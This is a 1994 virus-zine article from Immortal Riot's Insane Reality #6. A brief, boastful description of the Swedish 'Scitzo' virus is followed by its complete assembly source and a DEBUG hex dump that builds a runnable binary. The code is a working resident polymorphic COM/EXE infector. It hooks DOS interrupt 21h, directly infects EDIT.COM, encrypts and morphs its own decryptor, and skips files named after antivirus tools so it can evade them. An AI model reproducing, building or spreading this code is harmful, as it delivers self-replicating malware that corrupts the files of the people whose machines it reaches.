Insane Reality issue #6 - (c)opyright 1994 Immortal Riot File 015 Virus-Spotlight: The Scitzo virus --------------------------------- Virus Name: Scitzo Aliases: Red-A V Status: Ok Discovery: Rebound's harddrive Symptoms: COM and EXE files growth, decrease of available memory Origin: Lund, Sweden Eff Length: 1277 bytes, I think Type Code: RPCE - Resident polymorphic COM/EXE infector Detection Method: Most anti-virus programs can probably detect it by now Removal Instructions: Format the harddrive! (quote: Mikael Larsson/VHC) General Comments: The scitzo virus was written in Lund, Sweden 1994, by someone calling himself Red A. A person with a great sense of humour and programming capabilities. The first release of this virus was send out to atleast one major bulletin-board-system located somewhere in Sweden. From this place it was downloaded by a great number of loosers, that got their files corrupted due to a slight bug in the infection-routine. This bug was however fixed in the latter version. Scitzo will install itself resident in the top of memory but below the 640 kb boundary, allocating enough space for itself. It's not shown whenever a mem /c is performed, still mem and chkdsk will report the loss of memory. Whenever a file is executed, or opened (for any reason) the virus will infect that file. The next time this program is executed, it will check if it's already is resident, if so, it'll not go-up again, otherwise, it'll load itself into the memory waiting to infect new targets. Either way, it'll then let the original program execute normally. Making this virus non-overwriting (duh). Before the virus is about to close the (now) infected file, there is a one percent that the virus will add 'I feel a little scitzo...' to the end of the file. Otherwise, the Scitzo virus doesn't do anything besides replicating. ---------------------------------------------------------------------- Well, enough bitching... that description wasnt really any good, so? the clock is 04.40 now, so what do you possible expect? Anyhow.. This is one of the best, newest, independently swedish viruses written, and that's why I decided to include it. There has been atleast three special-designed anti-virus programs agains this virus.. one by RatMan, one by Holy Beast and one by Richard Loerakker. I think that shows that the virus has replicated a bit... The source code was partly documented in swedish, so I translated it into english.. Hope Red A don't mind it too much. Well, for a greater detailed level, study the source code below. Enjoy! / The Unforgiven ;=============================================================================== ; ; .S.C.I.T.Z.O. .V.i.R.U.S. ; ; (c) Red A 1994 ; ; This is a polymorphic virus, which infects COM & EXE-files. ; This version has a directinfection of C:\DOS\EDIT.COM, ; an older (and buggy) version has directinfection of ; C:\DOS\KEYB.COM. It's decrypted with a normal XOR-decryption, ; and the loader is morphed into 5 parts, each with 3 alternatives. ; It hooks INT21h and infects both on 4B00h and 3Dxxh. Every time ; a file whithout the ext COM or EXE is opened, there is 1% risc ; that the virus will add '(return) I feel a little scitzo... (return)' ; at the end of the file. The 'Return' is a normal 13,10. ; ; The EXE-infection has a small bug, which in some cases makes infected ; files hang the computer. Any talk about fucked HD's is *bullshit*. ; ; To turn this source into a virus, assemble and link it with ; TASM 3.0+ and put it together with an 8 bytes DUMMIE-file... ; (that is copy /b dummie.com+scitzo.com ready.com - tu) ; ; I also have an new version of this virus, with stealth function ; and a more advanced loadermorphing, but I don't think I'm going ; to spread it. Now I know that I'm able to create polymorphic ; virus, and I've no interest in causing people trouble. ; ; Well, that's all from me. Hope you'll find this source interesting. ; / Red A 1994 ;=============================================================================== cseg segment byte public 'code' assume cs:cseg, ds:cseg .386 org 100h virsize equ virend-virstart virstart: ; =============================== tbavfuck: mov cx,0ffffh xxx: mov si,621h loop xxx nop ; =============================== cdds: mov ax,cs mov ds,ax ; =============================== cryptadder: mov si,offset cryptstart+5 ; Cryptstart in si mov al,0 ; =============================== len: mov ax,(virend-cryptstart)/2+1 mov cx,ax mov ax,cx mov cx,ax ; =============================== decloop: db 081h,034h ; xor word ptr [si], NOT MODIFIED :( decval1: db 000h,000h ; 0000h ; =============================== loopen: sub si,0FFFEh ; add si,2 loop decloop ; loop decloop ; =============================== jmp cryptstart ;------------------------------------------------------------------------------- ; Decryptor & viruswriter ;------------------------------------------------------------------------------- decrypt: call crypter mov ah,40h mov cx,virend-cryptstart mov dx,offset cryptstart-0100h pushf db 09Ah ; call Oldint21_II: dd 0 ; xxxx:xxxx call crypter ret crypter: mov si,offset cryptstart-0100h mov cx,(virend-cryptstart)/2+1 decloop2: db 081h,034h ; xor word ptr [si], decval2: db 000h,000h ; 0000h inc si inc si loop decloop2 ret nop db ' So, you''ve found this text? ' ;------------------------------------------------------------------------------- ; Here starts the maindecrypted code ;------------------------------------------------------------------------------- cryptstart: call GetIP GetIP: pop si sub si,offset GetIP-virstart push cs pop ds mov ax,0ABCDh ; Check if the virus int 21h ; is already resident cmp ax,'AH' je exit ; if so, exit and ; run program mov ah,4ah ; Get #of free paras mov bx,0ffffh ; in bx int 21h ; sub bx,(virsize+15)/16+1 ; change.. mov ah,4ah int 21h mov ah,48h ; ..allocation. mov bx,(virsize+15)/16 int 21h jc exit dec ax ; ax-1 = MCB mov es,ax mov word ptr es:[1],8 ; Mark DOS as owner inc ax mov es,ax xor di,di mov cx, virsize rep movsb ; Copy virii to mem push es pop ds mov ax,3521h ; Hook old INT21h int 21h mov word ptr ds:[OldInt21-virstart],bx mov word ptr ds:[OldInt21-virstart+2],es mov dx, offset NewInt21-virstart ; Set new INT21h mov ax,2521h int 21h ;------------------------------------------------------------------------------- ; Directinfection of C:\DOS\KEYB.COM ;------------------------------------------------------------------------------- push cs pop ds call GetIP3 ; fix offsset to the string db 'C:\DOS\EDIT.COM',0 GetIP3: pop dx ; offset in dx mov ax,3d02h ; open file, and infect int 21h xchg ax,bx ; Fileptr i bx mov ah,3eh ; close file... int 21h ;------------------------------------------------------------------------------- ; Exit - restore the 3 startbytes if COM, jumps to org CS:IP if EXE ;------------------------------------------------------------------------------- exit: push cs push cs pop ds pop es call GetIP2 old3bytes: db 0B8h,000h,04Ch ; Will be MOV AX,4C00h jmpstr: db 0e9h,002h,000h execom db 0h exejmp: db 0EAh ; jmp far exejmpstr: dw 0 ; 0000:0000 GetIP2: pop si ; Get the pos of old3bytes cmp byte ptr [si+6],0 ; COM or EXE infection? jne runexe mov di,0100h ; Startpos movsw ; Writes the three movsb ; bytes to pos mov ax,0100h jmp ax runexe: mov ax,cs old_cs: add ax,1234h mov word ptr [si+10],ax push ss pop ax sub ax,10h mov es,ax mov ds,ax push ss pop ax old_ss: add ax,1234h old_sp: mov bx,1234h cli mov ss,ax mov sp,bx sti xor ax,ax xor bx,bx xor cx,cx xor dx,dx xor si,si xor di,di jmp exejmp ;------------------------------------------------------------------------------- ; New INT21h interrupt handler ;------------------------------------------------------------------------------- NewInt21: cmp ax,0ABCDh ; Is the virus calling? jne cont ; Nope, continue. mov ax,'AH' ; Tell the virus that iret ; it's already in mem. cont: cmp ax,4b00h ; File executed? je jmpfilerun cmp ah,3dh je fileopen jmp doint21 jmpfilerun: call filerun doint21: db 0eah Oldint21: dd 0 ;------------------------------------------------------------------------------- ; File open with 3Dxxh ;------------------------------------------------------------------------------- fileopen: push di push es push cx push ax push ds pop es mov cx,64 mov di,dx mov al,'.' repne scasb pop ax pop cx cmp word ptr ds:[di],'OC' jne break1 cmp byte ptr ds:[di+2],'M' jne break1 jmp gofilerun break1: cmp word ptr ds:[di],'XE' jne break2 cmp byte ptr ds:[di+2],'E' jne break2 gofilerun: pop es pop di call filerun jmp doint21 break2: pop es pop di call addtext jmp doint21 ;------------------------------------------------------------------------------- ; File executed with 4B00h ;------------------------------------------------------------------------------- filerun: push ax push bx push cx push dx push ds push es push cs pop es cld mov di,offset signat-100h mov cx,12 checkl: mov si,dx lodsw scasw je hmm inc di loop checkl jmp nopes hmm: lodsb scasb je closefile nopes: mov ax,3D02h ; Open the file.. pushf push cs call doint21 ; Fake INT21 with flags & cs jnb go_on ; Ok.. jmp closefile ; error, dont go on. go_on: mov bx,ax ; File handle in bx push cs pop ds ; The actual segment mov ax,5700h ; Get date/time in dx-cx int 21h mov word ptr ds:[date-100h],dx mov word ptr ds:[time-100h],cx and cl,1fh cmp cl,3 je closefile mov ah,3Fh ; Read mov dx,offset old3bytes-0100h mov cx,3 int 21h ; Read three first bytes cmp word ptr ds:[old3bytes-0100h],'ZM' ; .EXE? je infectexe cmp word ptr ds:[old3bytes-0100h],'MZ' ; .EXE? je infectexe cmp word ptr ds:[old3bytes-0100h],80E9h ; Debug? je gerror jmp infectcom gerror: jmp closefile ;------------------------------------------------------------------------------- ; Infect EXE-file ;------------------------------------------------------------------------------- infectexe: mov si,offset execom-100h ; Mark that virus is mov byte ptr [si],1 ; infected on EXE mov ax,4200h xor cx,cx xor dx,dx ; move ptr to SOF int 21h mov ah,3Fh ; Read mov dx,offset exeheader-100h mov cx,18h int 21h ; Read header mov ax,4202h xor cx,cx xor dx,dx ; move ptr to EOF int 21h mov word ptr ds:[eof-100h],ax cmp ax,0FFFFh-virsize ; Can the virus fit? ja closefile or dx,dx ; File bigger than 1 seg? jnz closefile mov dx, word ptr ds:[exeheader-100h+08h] ; Hsize/16 mov cl,4 shl dx,cl ; *16 sub ax,dx mov word ptr ds:[save-100h],ax mov dx,ax add dx,offset cryptstart-100h mov word ptr ds:[cryptadder+1-0100h],dx ; Fix cryptstart mov ax,word ptr ds:[exeheader-100h+14h] ; the program's mov word ptr ds:[exejmpstr-100h],ax ; start mov ax,word ptr ds:[exeheader-100h+16h] ; CS mov word ptr ds:[old_cs-100h+1],ax ; mov ax,word ptr ds:[exeheader-100h+0eh] ; SS mov word ptr ds:[old_ss-100h+1],ax mov ax,word ptr ds:[exeheader-100h+10h] ; SP mov word ptr ds:[old_sp-100h+1],ax call morphloader call writevirus mov ax,word ptr ds:[eof-100h] xor dx,dx add ax,virsize ; New EOF mov cx,200h ; 512.. div cx ; EOF/512 inc ax ; inc slack.. mov word ptr ds:[exeheader-100h+2],dx ; Slack of size/512 mov word ptr ds:[exeheader-100h+4],ax ; Size/512 mov word ptr ds:[exeheader-100h+0eh],0 ; Stack size/16 mov word ptr ds:[exeheader-100h+10h],0ffffh; SP mov word ptr ds:[exeheader-100h+16h],0 ; CS in module mov ax,word ptr ds:[save-100h] mov word ptr ds:[exeheader-100h+14h],ax ; IP in module mov ax,4200h xor cx,cx xor dx,dx ; move ptr to SOF int 21h mov ah,40h ; Write mov dx,offset exeheader-100h mov cx,18h int 21h ; Write header jmp closefile save dw 0 eof dw 0 time dw 0 date dw 0 banner: db 13,10,'I feel a little scitzo...',13,10 bannerend: ;------------------------------------------------------------------------------- ; Infect COM-file ;------------------------------------------------------------------------------- infectcom: mov si,offset execom-100h ; Mark thar virus is mov byte ptr [si],0 ; infected on COM mov ax,4202h xor cx,cx xor dx,dx ; move ptr to EOF, int 21h ; pos in AX mov dx,ax ; Virustes startpos+3 i dx add dx,offset cryptstart mov word ptr ds:[cryptadder+1-0100h],dx ; Fix cryptstart sub ax,3 mov word ptr ds:[jmpstr-0100h+1],ax ; Fix jmp call morphloader call writevirus mov ax,4200h xor cx,cx xor dx,dx ; move ptr to SOF, int 21h mov ah,40h mov cx,3 mov dx,offset jmpstr-0100h int 21h ; Write jmpstr jmp closefile ;------------------------------------------------------------------------------- ; Adds the text to files... ;------------------------------------------------------------------------------- addtext: push ax push bx push cx push dx push ds push es mov ax,03d02h pushf push cs call doint21 ; fake INT 21h jc closefile xchg ax,bx mov ax,5700h ; Get date/time in dx-cx int 21h mov word ptr ds:[date-100h],dx mov word ptr ds:[time-100h],cx and cl,1fh cmp cl,3 je closefile mov ah,2ch ; Fix random int 21h cmp dl,0 jne closefile mov ax,4202h xor cx,cx xor dx,dx ; move ptr to EOF, int 21h push cs pop ds mov ah,40h ; Write to file mov dx,offset banner-0100h mov cx,bannerend-banner ; Length of banner int 21h ;------------------------------------------------------------------------------- ; Closefile ;------------------------------------------------------------------------------- closefile: push cs pop ds mov ax,5701h ; Restore date... mov cx,word ptr ds:[time-100h] mov dx,word ptr ds:[date-100h] and cl,11100000b or cl,00000011b ; ...and mark infected int 21h mov ah,3Eh ; Close file.. int 21h pop es pop ds pop dx pop cx pop bx pop ax retn db ' SCITZO - by "RED A", Lund, Sweden 1994 ' ;------------------------------------------------------------------------------- ; Alternative for the 'loader' ;------------------------------------------------------------------------------- varlad1: db 0B8h,08Bh,0F0h ; mov ax, .. ; mov si,ax db 0BBh,087h,0F3h ; mov bx, .. ; xchg bx,si db 0BEh,0B0h,000h ; mov si, .. ; mov al,0 ;------------------------------------------------------------------------------- varlad2: mov ax,(virend-cryptstart)/2+1 mov cx,ax mov ax,cx mov cx,ax ; --- mov bx,(virend-cryptstart)/2+1+01234h sub bx,01234h xchg cx,bx ; --- mov di,(virend-cryptstart)/2+1-05678h add di,5678h mov cx,di ;------------------------------------------------------------------------------- varlad3: db 046h,046h,0E2h,0F8h,04Bh,043h db 083h,0c6h,002h,0e2h,0f7h,047h db 081h,0eeh,0feh,0ffh,0e2h,0f6h ;------------------------------------------------------------------------------- varlad4: mov cx,0ffffh x: mov si,621h loop x nop ; --- add cx,8077h xx: mov si,2133h loopnz xx ; --- sub cx,0ABCDh xxxx: mov di,2333h loop xxxx ;------------------------------------------------------------------------------- varlad5: mov ax,cs mov ds,ax ; --- mov dx,cs mov ds,dx ; --- mov ah,39 push cs pop ds ;------------------------------------------------------------------------------- ; Routin to encrypt/decrypt the encryptor ;------------------------------------------------------------------------------- cryptcrypt: mov si,offset decrypt-0100h mov cx,(cryptstart-decrypt)/2 decloop3: db 081h,034h ; xor word ptr [si], decval3: db 000h,000h ; 0000h inc si inc si loop decloop3 ret ;------------------------------------------------------------------------------- ; Encrypt the main body of the virus, via the encryptor and write loader+krypt ;------------------------------------------------------------------------------- writevirus: call cryptcrypt ; decipher the decryptor mov ah,2ch ; get random value int 21h mov word ptr ds:[decval1-100h],dx mov word ptr ds:[decval2-100h],dx mov word ptr ds:[decval3-100h],dx call cryptcrypt ; encrypt the encryptor ; with a new value mov ah,40h mov cx,cryptstart-virstart xor dx,dx ; write loader+krypterare int 21h ; loadern call cryptcrypt ; decipher the decryptor for call kryptnwrite ; for using & use ret ;------------------------------------------------------------------------------- ; Encrypt the mainpart of the virus, via the encryptor ;------------------------------------------------------------------------------- kryptnwrite: mov ax,word ptr ds:[OldInt21-0100h] ; Fix addr mov word ptr ds:[OldInt21_ii-0100h],ax ; to mov ax,word ptr ds:[OldInt21-0100h+2] ; INT21 mov word ptr ds:[OldInt21_ii-0100h+2],ax ; call call decrypt ; Encrypt virus+write virus call cryptcrypt ; Encrypt the encryptor ret ;------------------------------------------------------------------------------- ; Routine for encrypt/decrypt the decryptor ;------------------------------------------------------------------------------- morphloader: mov ah,2ch ; Fix random int 21h push ds pop es mov ax,dx ;Move randomvalue to ax and ax,3 ;get random 0-3 cmp al,3 ;check 3, if so decrease jne nosub ;to 2. random = 0-2 dec al nosub: mov cl,3 ; multiply random with 3 mul cl mov si,offset varlad1-0100h add si,ax ; Get pos in varlad1 mov di,offset cryptadder-100h movsb inc di inc di movsw mov ax,dx ;Random value to ax again shr ax,2 ;2 new bits and ax,3 ;random 0-3 cmp al,3 ;3? == decrease to jne nosub2 ;till 2. random = 2 dec al nosub2: mov cl,9 ; multiply random with 9 mul cl mov si,offset varlad2-0100h add si,ax ; Get pos i varlad2 mov di,offset len-100h movsw movsw movsw movsw movsb mov ax,dx ;Random to ax (again!) shr ax,4 ;2 new bits and ax,3 ;random 0-3 cmp al,3 ;3? - decrease to jne nosub3 ;2. random 0-2. dec al nosub3: mov cl,6 ;Multiply random with 6 mul cl mov si,offset varlad3-0100h add si,ax ;Get pos in varlad2 mov di,offset loopen-100h movsw movsw movsw mov ah,2ch ; Get new random int 21h mov ax,dx ;Random value to ax shr ax,3 ;2 new bits and ax,3 ;get random from 0-3 cmp al,3 ;3?, if so, decrease to jne nosub4 ;2. random 0-2 dec al nosub4: mov cl,9 ;mul random with 9 mul cl mov si,offset varlad4-0100h add si,ax ;get pos in varlad2 mov di,offset tbavfuck-100h movsw movsw movsw movsw movsb mov ax,dx ;random to till ax (again) shr ax,1 ;2 new bits and ax,3 ;random = 0-3 cmp al,3 ;3?, descrease with one to jne nosub5 ;2. random = 0-2 dec al nosub5: mov cl,4 ;multiply random with 4 mul cl mov si,offset varlad5-0100h add si,ax ; Get pos in varlad5 mov di,offset tbavfuck-0100h movsw movsw ret ;------------------------------------------------------------------------------- signat: ; Check for files that shouldnt be infected.. ; This wasn't included in the public first release ( - tu) db 'TBA' ; Tbav db 'TBS' ; Tbscan db 'F-P' ; F-Prot db 'VSH' ; Vshield db 'MSA' ; Msav db 'TBC' ; Tbclean db 'CPA' ; Cpav db 'VSA' ; Vsafe db 'VIR' ; Viruscan (etc..) db 'SCA' ; Scan db 'CLE' ; Clean db 'TOO' ; S&S Toolkit exeheader db 18h dup (0) ; virend: cseg ends end virstart ; Well, that's all folks. -------------------------------------------------------------------------------- N scitzo.com E 100 90 90 90 90 90 90 90 90 B9 FF FF BE 21 06 E2 FB E 110 90 8C C8 8E D8 BE 6E 01 B0 00 B8 4F 02 8B C8 8B E 120 C1 8B C8 81 34 00 00 81 EE FE FF E2 F6 EB 42 E8 E 130 12 00 B4 40 B9 9C 04 BA 69 00 9C 9A 00 00 00 00 E 140 E8 01 00 C3 BE 69 00 B9 4F 02 81 34 00 00 46 46 E 150 E2 F8 C3 90 20 53 6F 2C 20 79 6F 75 27 76 65 20 E 160 66 6F 75 6E 64 20 74 68 69 73 20 74 65 78 74 3F E 170 20 E8 00 00 5E 83 EE 6C 0E 1F B8 CD AB CD 21 3D E 180 48 41 74 62 B4 4A BB FF FF CD 21 83 EB 52 B4 4A E 190 CD 21 B4 48 BB 51 00 CD 21 72 4B 48 8E C0 26 C7 E 1a0 06 01 00 08 00 40 8E C0 33 FF B9 05 05 F3 A4 06 E 1b0 1F B8 21 35 CD 21 89 1E 46 01 8C 06 48 01 BA 2D E 1c0 01 B8 21 25 CD 21 0E 1F E8 10 00 43 3A 5C 44 4F E 1d0 53 5C 45 44 49 54 2E 43 4F 4D 00 5A B8 02 3D CD E 1e0 21 93 B4 3E CD 21 0E 0E 1F 07 E8 0A 00 B8 00 4C E 1f0 E9 02 00 00 EA 00 00 5E 80 7C 06 00 75 0A BF 00 E 200 01 A5 A4 B8 00 01 FF E0 8C C8 05 34 12 89 44 0A E 210 16 58 2D 10 00 8E C0 8E D8 16 58 05 34 12 BB 34 E 220 12 FA 8E D0 8B E3 FB 33 C0 33 DB 33 C9 33 D2 33 E 230 F6 33 FF EB BF 3D CD AB 75 04 B8 48 41 CF 3D 00 E 240 4B 74 07 80 FC 3D 74 0A EB 03 E8 3E 00 EA 00 00 E 250 00 00 57 06 51 50 1E 07 B9 40 00 8B FA B0 2E F2 E 260 AE 58 59 81 3D 43 4F 75 08 80 7D 02 4D 75 02 EB E 270 0C 81 3D 45 58 75 0D 80 7D 02 45 75 07 07 5F E8 E 280 09 00 EB C9 07 5F E8 7B 01 EB C2 50 53 51 52 1E E 290 06 0E 07 FC BF C9 04 B9 0C 00 8B F2 AD AF 74 05 E 2a0 47 E2 F7 EB 06 AC AE 0F 84 9D 01 B8 02 3D 9C 0E E 2b0 E8 9A FF 73 03 E9 90 01 8B D8 0E 1F B8 00 57 CD E 2c0 21 89 16 A3 02 89 0E A1 02 80 E1 1F 80 F9 03 0F E 2d0 84 75 01 B4 3F BA E5 00 B9 03 00 CD 21 81 3E E5 E 2e0 00 4D 5A 74 16 81 3E E5 00 5A 4D 74 0E 81 3E E5 E 2f0 00 E9 80 74 03 E9 D2 00 E9 4D 01 BE EB 00 C6 04 E 300 01 B8 00 42 33 C9 33 D2 CD 21 B4 3F BA ED 04 B9 E 310 18 00 CD 21 B8 02 42 33 C9 33 D2 CD 21 A3 9F 02 E 320 3D FA FA 0F 87 21 01 0B D2 0F 85 1B 01 8B 16 F5 E 330 04 B1 04 D3 E2 2B C2 A3 9D 02 8B D0 81 C2 69 00 E 340 89 16 0E 00 A1 01 05 A3 ED 00 A1 03 05 A3 03 01 E 350 A1 FB 04 A3 14 01 A1 FD 04 A3 17 01 E8 D6 01 E8 E 360 9A 01 A1 9F 02 33 D2 05 05 05 B9 00 02 F7 F1 40 E 370 89 16 EF 04 A3 F1 04 C7 06 FB 04 00 00 C7 06 FD E 380 04 FF FF C7 06 03 05 00 00 A1 9D 02 A3 01 05 B8 E 390 00 42 33 C9 33 D2 CD 21 B4 40 BA ED 04 B9 18 00 E 3a0 CD 21 E9 A3 00 00 00 00 00 00 00 00 00 0D 0A 49 E 3b0 20 66 65 65 6C 20 61 20 6C 69 74 74 6C 65 20 73 E 3c0 63 69 74 7A 6F 2E 2E 2E 0D 0A BE EB 00 C6 04 00 E 3d0 B8 02 42 33 C9 33 D2 CD 21 8B D0 81 C2 69 01 89 E 3e0 16 0E 00 2D 03 00 A3 E9 00 E8 49 01 E8 0D 01 B8 E 3f0 00 42 33 C9 33 D2 CD 21 B4 40 B9 03 00 BA E8 00 E 400 CD 21 EB 44 50 53 51 52 1E 06 B8 02 3D 9C 0E E8 E 410 3B FE 72 34 93 B8 00 57 CD 21 89 16 A3 02 89 0E E 420 A1 02 80 E1 1F 80 F9 03 74 1E B4 2C CD 21 80 FA E 430 00 75 15 B8 02 42 33 C9 33 D2 CD 21 0E 1F B4 40 E 440 BA A5 02 B9 1D 00 CD 21 0E 1F B8 01 57 8B 0E A1 E 450 02 8B 16 A3 02 80 E1 E0 80 C9 03 CD 21 B4 3E CD E 460 21 07 1F 5A 59 5B 58 C3 20 53 43 49 54 5A 4F 20 E 470 2D 20 62 79 20 22 52 45 44 20 41 22 2C 20 4C 75 E 480 6E 64 2C 20 53 77 65 64 65 6E 20 31 39 39 34 20 E 490 B8 8B F0 BB 87 F3 BE B0 00 B8 4F 02 8B C8 8B C1 E 4a0 8B C8 BB 83 14 81 EB 34 12 87 CB BF D7 AB 81 C7 E 4b0 78 56 8B CF 46 46 E2 F8 4B 43 83 C6 02 E2 F7 47 E 4c0 81 EE FE FF E2 F6 B9 FF FF BE 21 06 E2 FB 90 81 E 4d0 C1 77 80 BE 33 21 E0 FB 81 E9 CD AB BF 33 23 E2 E 4e0 FB 8C C8 8E D8 8C CA 8E DA B4 27 0E 1F BE 27 00 E 4f0 B9 21 00 81 34 00 00 46 46 E2 F8 C3 E8 EE FF B4 E 500 2C CD 21 89 16 1D 00 89 16 44 00 89 16 ED 03 E8 E 510 DB FF B4 40 B9 69 00 33 D2 CD 21 E8 CF FF E8 01 E 520 00 C3 A1 46 01 A3 34 00 A1 48 01 A3 36 00 E8 FE E 530 FB E8 B9 FF C3 B4 2C CD 21 1E 07 8B C2 25 03 00 E 540 3C 03 75 02 FE C8 B1 03 F6 E1 BE 88 03 03 F0 BF E 550 0D 00 A4 47 47 A5 8B C2 C1 E8 02 25 03 00 3C 03 E 560 75 02 FE C8 B1 09 F6 E1 BE 91 03 03 F0 BF 12 00 E 570 A5 A5 A5 A5 A4 8B C2 C1 E8 04 25 03 00 3C 03 75 E 580 02 FE C8 B1 06 F6 E1 BE AC 03 03 F0 BF 1F 00 A5 E 590 A5 A5 B4 2C CD 21 8B C2 C1 E8 03 25 03 00 3C 03 E 5a0 75 02 FE C8 B1 09 F6 E1 BE BE 03 03 F0 BF 00 00 E 5b0 A5 A5 A5 A5 A4 8B C2 D1 E8 25 03 00 3C 03 75 02 E 5c0 FE C8 B1 04 F6 E1 BE D9 03 03 F0 BF 00 00 A5 A5 E 5d0 C3 54 42 41 54 42 53 46 2D 50 56 53 48 4D 53 41 E 5e0 54 42 43 43 50 41 56 53 41 56 49 52 53 43 41 43 E 5f0 4C 45 54 4F 4F 00 00 00 00 00 00 00 00 00 00 00 E 600 00 00 00 00 00 00 00 00 00 00 00 00 00 RCX 50d W Q